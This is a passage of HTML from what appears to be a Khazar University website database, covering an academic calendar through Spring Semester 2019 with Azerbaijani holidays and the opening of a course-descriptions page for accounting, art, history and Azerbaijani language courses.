style=\"margin-bottom:7.5pt;line-height:normal\"><strong>1</strong></p>\r\n  </td>\r\n  <td width=\"59%\" style=\"width:59.36%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Mid-Term Exams Begin</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"15%\" style=\"width:15.44%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>9</strong></p>\r\n  </td>\r\n  <td width=\"59%\" style=\"width:59.36%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">National Flag Day</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"15%\" style=\"width:15.44%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>23</strong></p>\r\n  </td>\r\n  <td width=\"59%\" style=\"width:59.36%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Mid-Term Exams End</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\" style=\"width:100.0%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>&nbsp;</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"25%\" rowspan=\"2\" style=\"width:25.2%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>&nbsp;December</strong></p>\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"15%\" style=\"width:15.44%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>30</strong></p>\r\n  </td>\r\n  <td width=\"59%\" style=\"width:59.36%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Last Day of Classes</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"15%\" style=\"width:15.44%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>31</strong></p>\r\n  </td>\r\n  <td width=\"59%\" style=\"width:59.36%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">Solidarity Day of World Azerbaijanis</p>\r\n  </td>\r\n </tr>\r\n <tr style=\"height:23.85pt\">\r\n  <td width=\"100%\" colspan=\"3\" style=\"\" width:100.0%;padding:3.75pt=\"\" 3.75pt=\"\" 7.5pt;height:23.85pt\";vertical-align:top\"=\"\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>&nbsp;</strong>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"25%\" rowspan=\"4\" style=\"width:25.2%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>&nbsp;January</strong></p>\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>&nbsp;</strong></p>\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>&nbsp;</strong></p>\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"15%\" style=\"width:15.44%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>1-3</strong></p>\r\n  </td>\r\n  <td width=\"59%\" style=\"width:59.36%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">New Year</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"15%\" style=\"width:15.44%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>4</strong></p>\r\n  </td>\r\n  <td width=\"59%\" style=\"width:59.36%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Final Exams Begin</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"15%\" style=\"width:15.44%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>20</strong></p>\r\n  </td>\r\n  <td width=\"59%\" style=\"width:59.36%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\">National Mourning Day</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"15%\" style=\"width:15.44%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>24</strong></p>\r\n  </td>\r\n  <td width=\"59%\" style=\"width:59.36%;padding:3.75pt 3.75pt 3.75pt 7.5pt;vertical-align:top\">\r\n  <p style=\"margin-bottom:7.5pt;line-height:normal\"><strong>Final Exams End</strong></p>\r\n  </td>\r\n </tr>\r\n</tbody></table> <p><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>&nbsp;</strong></p><table cellspacing=\"0\" cellpadding=\"0\" width=\"100%\" style=\"\" width:100.0%;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <h2><strong>Spring Semester 2019</strong></h2>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"20%\" rowspan=\"2\">\r\n  <p><strong>&nbsp;February</strong></p>\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>9</strong></p>\r\n  </td>\r\n  <td width=\"57%\">\r\n  <p><strong>Last Day of Registration</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>11</strong></p>\r\n  </td>\r\n  <td width=\"57%\">\r\n  <p><strong>Classes Begin</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <p><strong>&nbsp;&nbsp;</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"20%\" rowspan=\"2\">\r\n  <p><strong>&nbsp;March</strong></p>\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>8</strong></p>\r\n  </td>\r\n  <td width=\"57%\">\r\n  <p>International Women’s Day</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>20-24</strong></p>\r\n  </td>\r\n  <td width=\"57%\">\r\n  <p>Novruz Holiday</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <p><strong>&nbsp;</strong>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"20%\" rowspan=\"2\">\r\n  <p><strong>&nbsp;April</strong></p>\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>1</strong></p>\r\n  </td>\r\n  <td width=\"57%\">\r\n  <p><strong>Mid-Term Exams Begin</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>20</strong></p>\r\n  </td>\r\n  <td width=\"57%\">\r\n  <p><strong>Mid-Term Exams End</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"20%\" rowspan=\"3\">\r\n  <p><strong>&nbsp;May</strong></p>\r\n  <p><strong>&nbsp;</strong></p>\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>9</strong></p>\r\n  </td>\r\n  <td width=\"57%\">\r\n  <p>Victory Day</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>28</strong></p>\r\n  </td>\r\n  <td width=\"57%\">\r\n  <p>Democratic Republic Day</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>31</strong></p>\r\n  </td>\r\n  <td width=\"57%\">\r\n  <p><strong>Last Day of Classes</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"20%\" rowspan=\"4\">\r\n  <p><strong>&nbsp;June</strong></p>\r\n  <p><strong>&nbsp;&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>1</strong></p>\r\n  </td>\r\n  <td width=\"57%\">\r\n  <p><strong>Final Exams Begin</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>15</strong></p>\r\n  </td>\r\n  <td width=\"57%\">\r\n  <p>National Consolidation Day</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>23</strong></p>\r\n  </td>\r\n  <td width=\"57%\">\r\n  <p><strong>Final Exams End</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"21%\">\r\n  <p><strong>26</strong></p>\r\n  </td>\r\n  <td width=\"57%\">\r\n  <p>Military Forces Day</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"100%\" colspan=\"3\">\r\n  <p><strong>&nbsp;</strong>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"20%\">\r\n  <p><strong>July</strong></p>\r\n  </td>\r\n  <td width=\"21%\">\r\n  <p><strong>Summer Semester</strong></p>\r\n  </td>\r\n  <td width=\"57%\">\r\n  <p>Summer sessions are usually announced towards the end of\r\n  the spring semester and classes start by mid of July.</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Note</strong>: Fall classes begin on September 15 (unless it falls on a weekend). The beginning of the spring semester is around February 10 (again, depending on weekends).</p>'),(27,27,'en','Course Descriptions','Course Descriptions','<h3>Classification of Courses</h3><p>The Khazar course numbering system is based on a set of abbreviations for the academic disciplines, and three-digit course number. Most courses at Khazar University are numbered according to the following plan:</p>\r\n<ul><li>Primarily for pre-freshman courses 001 - 099</li><li>For freshmen and sophomore undergraduate courses 100 - 199 and 200-299</li><li>For advanced undergraduate and some graduate courses 300 - 399 and 400-499</li><li>For Graduate Courses 500 and higher</li></ul><p>Accounting (ACC)&nbsp;</p><p>Art (ART)&nbsp;</p><p>Azerbaijani History (AZH)&nbsp;</p><p>Azerbaijan Language and Literature (AZLL)&nbsp;</p><p><strong><br></strong></p><p><strong>ACC 210: Principles of Accounting (6&nbsp;credits)</strong></p><p><strong>Prerequisite:</strong> <strong>BSA 101</strong></p><p><strong></strong>This is an introductory course in accounting. It covers such topics as accounting and business environment, translating business activities into accounting information, accounting cycle, merchandising operations, inventory, internal control and cash, receivables, liabilities, assets and intangibles, time value of money and financial statements, using information from accounting system for investment and management decisions.&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>ACC 310: Financial Accounting (6&nbsp;credits)</strong></p><p><strong>Prerequisite: ACC 210</strong></p><p>The course introduces financial accounting concepts and principles. It is designed to be a combination of both accounting and finance that will lay a strong background for further studies in financial subjects. The course covers the following topics: accounting principles and concepts; balance sheets, accrual vs. cash basis of income measurement; income statement; journals and ledger recording; trial balance, accrual and deferral adjustments, the &nbsp;accounting cycle, sales, cash and accounts receivable; estimating uncorrectable accounts, valuing inventories, ratio and trend analysis, present and future value concepts; liabilities, statements of cash flows, stockholders’ equity, dividends and treasury stock.</p><p><br></p><p><strong>ACC 350: Accounting Information Systems (6&nbsp;credits)</strong></p><p><strong>Prerequisite: ACC 210, BSA 210</strong></p><p>This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems.</p><p><br></p><p><strong>ACC 410: Managerial Accounting (6&nbsp;credits)</strong></p><p><strong>Prerequisite: FIN 310, ACC 210</strong></p><p>The course covers approaches to providing accounting and processing information for effective management of for-profit and nonprofit organizations.</p><p><br></p><p><strong>ACC 415: Statutory Accounting (6&nbsp;credits) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></p><p><strong>Prerequisite: ACC 210</strong></p><p>The course covers the study of statutory accounts and reporting requirements; domestic auditing standards; and domestic oil and gas accounting requirements.</p><p><br></p><p><strong>ACC 420: Financial Reporting (6&nbsp;credits) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></p><p><strong>Prerequisite: ACC 210, FIN 310</strong></p><p>The course covers analysis of the International Financial Reporting Standards, focusing on revenue and expense recognition and the measurement of assets and liabilities; concepts and theories underlying financial statements; introduction to international reporting standards; balance sheet; income statement, statement of changes in equity; cash flow statement; cash and receivables; inventory; revenue and expense recognition; property, plant and equipment; intangible assets.</p><p><br></p><p><strong>ACC 430: International Accounting (6&nbsp;credits)</strong></p><p><strong>Prerequisite: ACC 210</strong></p><p>Securities regulation and trading; various national accounting standards; the harmonization of accounting standards internationally; accounting for the translation of transactions and foreign subsidiary financial statements.</p><p><br></p><p><strong>ACC 440: Cost Accounting (6&nbsp;credits) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 210, FIN 310</strong></p><p>Students study cost accounting, accounts and investments; inventory accounts; manufacturing accounts; and material use variance accounts.</p><p><br></p><p><strong>ACC 450: Auditing (6&nbsp;credits)</strong></p><p><strong>Prerequisite: ACC 310</strong></p><p>The course develops student’s knowledge of auditing services. Topics include the role of auditing services in society, audit programs planning, design and implementation.</p><p><br></p><p><strong>ACC 490: Taxation (6&nbsp;credits) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></p><p><strong>Prerequisite: ACC 310</strong></p><p>This course introduces students to the tax concepts applicable to sole proprietorships, partnerships, corporations, estates, and trusts. Emphasis is placed on differences between tax and financial accounting concepts. In addition, students are exposed to accounting periods and methods, deferred compensation, tax planning, ethical practices, and tax research.</p><p><br></p><p><strong>ACC 800: Accounting for Financial Decisions (6&nbsp;credits) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong></p><p><strong>Prerequisite: None</strong></p><p>This course is designed for graduate students. The course will focus on the financial decision makers. The purpose of this course is to introduce the «basic concepts» of accounting and finance. With knowledge in accounting and the basic elements of finance, one can understand how specific techniques and decision rules can be used. The course covers the following topics: basic accounting concepts, revenue and monetary systems, cost of sales and inventory, non-monetary assets, sources of capital, and strategic investment decisions.</p><p><br></p><p><strong>ACC 801: Financial Accounting (6&nbsp;credits) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></p><p><strong>Prerequisites: None</strong></p><p>The course is designed for the graduate students majoring in Economics and Business Administration as a required course. This course will focus on the user of accounting information. The purpose of this course is to introduce the «basic concepts» of accounting. With knowledge in accounting, one can understand how specific techniques and decision rules can be used from accounting records. The course covers the following topics: analyzing transactions; the matching concept and adjusting process; completing the accounting cycle; accounting for different types of businesses; accounting systems, internal controls and cash; receivables; inventories; fixed assets and intangible assets; current liabilities; corporations: organization, capital stock transactions and dividends; corporations: income and taxes, stockholders’ equity and investments in stocks; bonds payable and investments into bonds; statement of cash flows; and financial statement analysis.</p><p><br></p><p><strong>ACC 810: Auditing (6&nbsp;credits) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>The course provides knowledge important for the students majoring in Accounting and Finance. It includes planning audit, designing audit programs with internal control, audit evidence, audit work papers, cash and marketable securities, accounts receivable, inventories, property, plant and equipment, accounts payable and other liabilities, debt and equity capital losses and auditor’s reports. Casework is practiced.</p><p><br></p><p><strong>ACC 840: Management and Cost Accounting (6&nbsp;credits) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>Use of accounting information for internal planning and control purposes; role of accounting in decisions concerning resource allocation, cost and performance analysis, evaluation of business units using data obtained from the accounting system. Use of cost information for operational and strategic control; application of statistical tools and decision models to accounting data for the purpose of facilitating managerial control; identifying cost behavior with respect to managerial decision; measuring and controlling the consumption of resources by a firms products; analyzing product cost systems in diverse production and non-manufacturing settings.</p><p><br></p><p><br></p><p><strong>ACC 860: Accounting Information Systems (6&nbsp;credits) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems. This course focuses on the knowledge and skills required providing assurance for information systems for the purpose of managing business risk.</p><p><br></p><p><strong>ACC 870: International Accounting Practices (6&nbsp;credits) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>This course is designed to study and resolve accounting problems involved in international operations. It encompasses the comparative study of different national accounting systems, the problems caused by the existing differences in practices for international operations, and organizations which have emerged to reconcile differences and to handle international accounting problems.</p><p><br></p><p><strong>ACC 880: Advanced Accounting Topics (6&nbsp;credits) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801, ACC 840</strong></p><p>This course is specialized in accounting topics including accounting and reporting for business combinations, international accounting and foreign currency issues, partnership accounting and other topics.</p><p><br></p><p><strong>ART 231: Painting (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>Basic fundamentals of painting. Color and basic techniques. Studio work and exhibition.</p><p><br></p><p><strong>HIST 116: History of Turks (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>Comprehensive study of the history of the Caucasian Turkic peoples\' civilizations and cultures. There role in the process of shaping of the contemporary Caspian region\'s ethnic situation, especially their influence in the formation of Azerbaijani nation. The course embraces the history of the Caucasus Turkish Tribes and Fore Asia; formation of the Turkish States and empires in Siberia, Altay, Middle Asia, Western Europe, and on the shores of the Black Sea. Economics, culture, religion, and mode of the life of Turkish peoples are discussed.</p><p><br></p><p><strong>HIST 117: History of the Hun (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The course studies the historical origin of the Hun, their political and ethnic characteristics and geographical location. The historical role of the Hun in the formation of European and Asian, and in particular Azerbaijani ethnicity is of great importance. A study of history of the Hun is based on the Chinese, European and Caucasian sources, both written and archeological ones. Topics for research and course theses will be offered for persons interested.</p><p><br></p><p><strong>HIST 210: Pre-Islamic History of Azerbaijan and Its Neighbors (Ancient and Early Medieval Period) (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>The course covers the period from the very beginning of civilization until the 8th century AD Comparative history of the ancient Azerbaijani people and the people of Georgia, Armenia, Daghistan, other Caucasian people is discussed. Emphasis is given to the formation of the states like Manna, Athropatheus, and Caucasian Albania.</p><p><strong><br></strong></p><p><strong>HIST 211: History of Azerbaijan (8th - 18th Centuries) (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>History of Azerbaijan of the Middle Ages: Arabian invasion, inclusion of Azerbaijan into Arabian Caliphate, and beginning of the country\'s Islamization. Study of historical development of the local feudal states in Azerbaijan: Shirvanshahs, Sajids, Shaddadids, Salarids, and Ravvadids. Formation of the Saljug Empire in Central Asia and Azerbaijan. The 12th century Azerbaijani culture. Mongol invasion. Azerbaijan in Chinghiz Khan\'s Empire and in the states of Ilkhans and Khulagiuds. The states of Qaraqoyunlu and Agqoyunlu. Safavids state of Azerbaijan. Azerbaijan in the 18th century. Azerbaijan as an arena of rivalry among Russia, Persia, and the Ottoman Empire.</p><p><br></p><p><strong>HIST 212: Modern and Contemporary History of Azerbaijan (6&nbsp;credits)</strong></p><p><strong>Prerequisite: HIST 211</strong></p><p>The course is connected with the continuous rivalry of Empires for Caucasus, the division of the country into two parts between Russia and Persia (Gulustan and Turkmancay Treaties of 1813 and 1828). Since that time until 1991 North Azerbaijan existed within Russian Empire and then the USSR, but South Azerbaijan - within the Persia (Iran). A significant place is given to the History of Azerbaijan after the declaration of Independent ADR (Azerbaijan Democratic Republic) in 1918 and after 1991 - with the formation of the sovereign AR (Azerbaijan Republic).</p><p><br></p><p><strong>HIST 213: History of the Formation and Development of Capitalistic Oil Production in Azerbaijan (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The course studies the peculiarities of the formation and development of large-scale capitalist oil industry in Azerbaijan. Social-economic movements in the sphere of oil engineering; oil exportation; discoveries of new hydrocarbon resources. Creation of new oil-producing factory. Transformation of Baku into the world center of oil industry. Concentration and flow of foreign investments. The beginning of monopolization of oil industry in Azerbaijan by Nobel brothers and establishment of the great monopolistic union – \"Nobel-Mazut\". Investments of international Anglo-Dutch company \"Shell\" into oil industry of Baku. Oil production during World War I: influence of the war to the structure of production; role of Azeri oil during the war. Foundation of the council of Baku oil-producers. The development of oil industry in Azerbaijan during the Soviet period.</p><p><br></p><p><strong>HIST 215: Introduction to Archeology (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The course studies primitive, antique, and medieval historical material sources; restores the historical past of the mankind; investigates important changes in the development of productive forces, social relations; ascertains the origin of nations, formation and development of their culture; retraces cultural and historical relations and formation of ethnic communities. Traces the development of native Azerbaijan culture from the peopling of the continent to early historic times. Examines the archeological evidence for the antiquity, spread, and variation of cultural adaptation to changing ecological conditions.</p><p><br></p><p><strong>HIST 216: Modern History of the Middle East (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The course presents a survey of the political, social and economic evolution of the Middle East in the 19th and 20th centuries, covering the impact of the West on the traditional socio-political order, state-and nation-building in the 20th century, the development of a new social order, and political and ideological conflict within and between states.</p><p><br></p><p><strong>HIST 217: History of the Origins and Development of Islam (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The course is primarily concerned with the emergence and consolidation of the Islamic world -- the most significant transition in the history of the Middle East and North Africa between the origins of civilization and modern times. The overall framework is one of political history broadly conceived; within this framework themes taken from religious, cultural, social and economic history will receive considerable attention. The history of origin and formation of Islamic religion. Analysis of the history of basic Islamic doctrines\' development known as Arkan al-Islam (pillars of Islam). The review of some religious dogmas will require more extensive (from the point of chronology) review of the problem. Arabic language capability is welcomed but not required.</p><p><br></p><p><strong>HIST 220: Introduction to Ethnography (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>An introduction to the basic concepts and theories of ethnography. Study of the ethnography of Azerbaijan and ethnography of the world. The course deals with general ethnic processes, ethnic factor in the history and in the modern life, types of classification of people in the world, their economic and spirituaculture. Ethnic composition and ethno-political history of Azerbaijan are emphasized.</p><p><br></p><p><strong>HIST 313. History of South Azerbaijan (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>Study of the history of South Azerbaijan from the specific aspect of its historical and socio-political development. The division of Azerbaijan in the beginning of XIX century into North and South Azerbaijan, creation of separate (different) fates and histories of one nation under the rule of the Russian and Persian empires. Emphasis of the processes occurring in South Azerbaijan after the peace treaties of Gulustan and Turkmancay in 1813 and 1828; Iranian policy of the coercive assertion of Persian culture on the population of South Azerbaijan; national-liberation movements guided by S.M.Khiyabani, Sattarkhan, and S.C.Pishavari. The course includes, as well as, the topics: South Azerbaijan during the \"cold war\"; contemporary South Azerbaijan; idea of the \"United Azerbaijan\" -- historical evolution, development, and realization tendencies.</p><p><br></p><p><strong>HIST 316: Socio-political situation in Azerbaijan in the 19-20thcenturies(6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The development of national-democratic and revolutionary movements in Azerbaijan; formation of political parties and development of the national self- consciousness. The political activity of national intelligentsia. Participation of Azerbaijan political figures in four State Dumas of Russia and the beginning of formation of Azerbaijan national political system. The formation and active participation of the first national organizations in the movement for political, economic, and social rights of Azerbaijani peoples.</p><p><br></p><p><strong>HIST 317: International Status of Azerbaijan in 1917 – 1920 (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>Study of the political situation in Azerbaijan after the Russian Empire\'s fall. The Democratic Republic of Azerbaijan - the first democratic state in the Muslim East. Analysis of the formation of the national Azerbaijan state and its international recognition. Survey of the Democratic Republic of Azerbaijan Government\'s activity. Participation and acceptance of Azerbaijani delegation in the Paris Peace conference. The relationships with other states. The Soviet Russia aggression in April 1920 and the breach of historical development of Azerbaijan State system.</p><p><br></p><p><strong>HIST 320: Ethnology (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The purpose of the course is to study the main basic theoretical aspects of knowledge on anthropology as the science studying human being, culture, and society in the global and general historic context. The course intends to present a comprehensive knowledge on the features of the methods, the investigating objects of this sphere of science. Emphasis is on such problems as: western ethnology and its main directions; ethno-sociology; ethnicity and nation; ethno-demographic investigations; ethnology and anthropology; political ethnology.</p><p><br></p><p><strong>HIST 550: History of Iran (6&nbsp;credits)</strong></p><p><strong>Prerequisite: consent of the instructor</strong></p><p>The course embraces long history of Iran. But attention has been given mainly to the modern and contemporary history of the multi-ethnic country. The Islamic revolution and current situation in the country have selected for more in-depth studies.</p><p><br></p><p><strong>AZLL 101: Azerbaijani Language (University Requirement) (6&nbsp;credits)</strong></p><p><strong>Prerequisite: High School Azerbaijani language</strong></p><p>This course prepares students for analyzing academic texts and technical material in Azerbaijani. Advanced skills in academic and creative writing and reading comprehension are honed using academic literature across various disciplines. The topics cover culture, environment, customs and traditions, history, economics, etc.</p><p><br></p><p><strong>AZLL 102. &nbsp;Introduction to Writing (6&nbsp;credit)</strong></p><p><strong>Prerequisite AZLL 101.</strong></p><p>Writing Strategy. Planning and organizing source material for writing, revising, editing and proofreading. Summaries, critiques and syntheses of texts. Essay and creative writing. Academic and Business writing. Prose style.&nbsp;</p><p><br></p><p><strong>AZLL 103: Azerbaijani Language for Foreigners (6&nbsp;credits)</strong></p><p><strong>Prerequisite: NONE</strong></p><p>The main emphasis is the communicative role of four skills – reading, writing, listening, and speaking. These skills are taught within the frame of topics such as greetings, making acquaintances, congratulations and thankfulness, (dis) approvals, requests, demands, 